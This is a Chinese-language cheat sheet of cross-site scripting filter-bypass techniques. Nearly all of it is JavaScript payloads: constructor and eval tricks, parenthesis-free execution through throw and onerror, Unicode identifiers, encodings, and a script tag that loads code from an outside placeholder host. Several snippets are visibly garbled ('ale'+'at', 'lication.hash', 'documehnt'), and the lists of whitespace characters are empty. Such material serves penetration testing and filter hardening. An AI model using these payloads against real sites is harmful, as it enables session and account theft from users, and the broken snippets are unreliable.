XSS Bypass Cheat Sheet
0x00 测试思路
- 看过滤的标签:
<script>
- 看过滤的关键字,过滤的事件:
javascript:
- 尝试编码
- 尝试添加空白符、单双引号、标签等进行干扰
- 超长字符串bypass测试
- 可以写js代码后自由发挥
0x01 参考
- https://portswigger.net/web-security/cross-site-scripting/cheat-sheet
- https://twitter.com/xsspayloads
0x02 具体的技巧
构建数据流
a=alert;a();
Object.values(window)
- 字符串拼接
javascript伪协议前可以填补空白符


…… 
	




…….. 


….
javascript中间可以填补的空白符
	


	


- ……
代替window的关键字
- self
- top
- this
- globalThis
可以执行代码payload
find.constructor("alert(1)")()
[].fill.constructor("alert(1)")()
eval
setTimeout
setInterval('alert(1)')
Function('alert(1)')()
document.body.innerHTML = "<script>alert(1)</script>"
属性的获取
- 使用点,
window.alert
- 使用中括号,
window['ale' + 'at']
简单的利用payload
eval("/*"+lication.hash)
, location.hash里面需要以*/ 开头,将井号闭合掉document.body.innerHTML = "<script src="http://xxxx.com"></script>"
document.write("<img/src=x>")
documehnt.append
函数执行的变换
alert?.(1)
eval.valueOf()('alert(1);')
alert.bind()(1)
Reflect.apply(alert, null, [1])
Promise.all([1]).then(alert)
Set.constructor()()
禁止使用括号
- innerHTML赋值
- throw隐形调用,
var{a:onerror=alert}=0;throw 1
valueOf=alert;this-1
等号绕过
可能限制 a = window这种直接赋值
a = [window]
b = (1, window)
逗号操作符,取最后一个a = { b : window }
a ??= window
逻辑操作符:||=
- 条件三元表达式
也有可能是正则表达式,禁止数字或者字母连着括号,可以使用unicode代替
\u1630=alert;\u1630();
\u1fa9=alert;\u1fa9();
编码
- 可以执行js的可以unicode编码,不可以编码括号
- 实体编码
- url编码
- 实体编码表:https://dev.w3.org/html5/html-author/charref